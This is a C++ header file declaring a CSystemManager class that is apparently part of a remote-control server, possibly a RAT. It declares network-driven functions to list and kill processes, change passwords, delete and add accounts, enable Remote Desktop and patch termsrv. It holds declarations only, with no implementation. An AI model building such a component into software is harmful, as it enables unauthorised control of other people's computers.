// SystemManager.h: interface for the CSystemManager class. // ////////////////////////////////////////////////////////////////////// #if !defined(AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_) #define AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_ #if _MSC_VER > 1000 #pragma once #endif // _MSC_VER > 1000 #include "..\Manager.h" class CSystemManager : public CManager { public: CSystemManager(CClientSocket *pClient); virtual ~CSystemManager(); virtual void OnReceive(LPBYTE lpBuffer, UINT nSize); static BOOL DebugPrivilege(const char *PName,BOOL bEnable); static void ShutdownWindows(DWORD dwReason); static bool CALLBACK EnumWindowsProc( HWND hwnd, LPARAM lParam); private: LPBYTE getProcessList(); LPBYTE getWindowsList(); LPBYTE getSoftWareList(); void SendProcessList(); void SendWindowsList(); // void SendDialupassList(); void SendSoftWareList(); void KillProcess(LPBYTE lpBuffer, UINT nSize); void TestWindow(LPBYTE lpBuffer); void CloseWindow(LPBYTE lpBuffer); void SendSysInfoList(); void GetSystemInfo(tagSystemInfo* pSysInfo); void SendSysUserList(); LPBYTE getSysUserList(); void SendUserStateList(); LPBYTE getUserStateList(); void ChangeUserState(LPBYTE lpBuffer, UINT nSize , UINT User_kt); //ÕÊ»§ÆôÓà ֹͣ void ChangeUserPass(LPBYTE lpBuffer, UINT nSize); void DeleteUser(LPBYTE lpBuffer, UINT nSize); void DisconnectUser(LPBYTE lpBuffer, UINT nSize); void LogOffUser(LPBYTE lpBuffer, UINT nSize); void NoNetAddUser(LPBYTE lpBuffer, UINT nSize); BOOL Change3389Port(LPVOID lparam); void Open3389(); void GetTermsrvFile(); BOOL WriteTermsrv(LPBYTE lpBuffer, UINT nSize); HANDLE hSendMemoryThread; static DWORD WINAPI SendCPUAndMemoryThread(LPVOID lparam); }; #endif // !defined(AFX_SYSTEMMANAGER_H__5E44B060_837A_4D2D_9E75_E4A33E51CAE1__INCLUDED_)